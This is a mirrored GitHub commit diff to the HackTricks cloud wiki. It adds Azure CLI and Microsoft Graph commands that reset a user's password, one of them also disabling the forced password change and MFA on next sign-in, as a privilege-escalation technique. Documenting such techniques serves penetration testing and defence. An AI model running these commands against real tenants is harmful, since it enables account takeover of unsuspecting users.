mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-12 11:01:38 -07:00
Merge pull request #285 from ZoneMix/master
Update User Password Addition
This commit is contained in:
+15
-1
@@ -408,7 +408,21 @@ dynamic-groups.md
|
||||
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
|
||||
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
# Update user password
|
||||
userId="<user-id>"
|
||||
az ad user update --id $userId --password "kweoifuh.234"
|
||||
|
||||
# Update user password without needing to change or use MFA on next sign-in
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"passwordProfile\": {
|
||||
\"forceChangePasswordNextSignInWithMfa\": false,
|
||||
\"forceChangePasswordNextSignIn\": false,
|
||||
\"password\": \"kweoifuh.234\"
|
||||
}
|
||||
}"
|
||||
```
|
||||
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Reference in New Issue
Block a user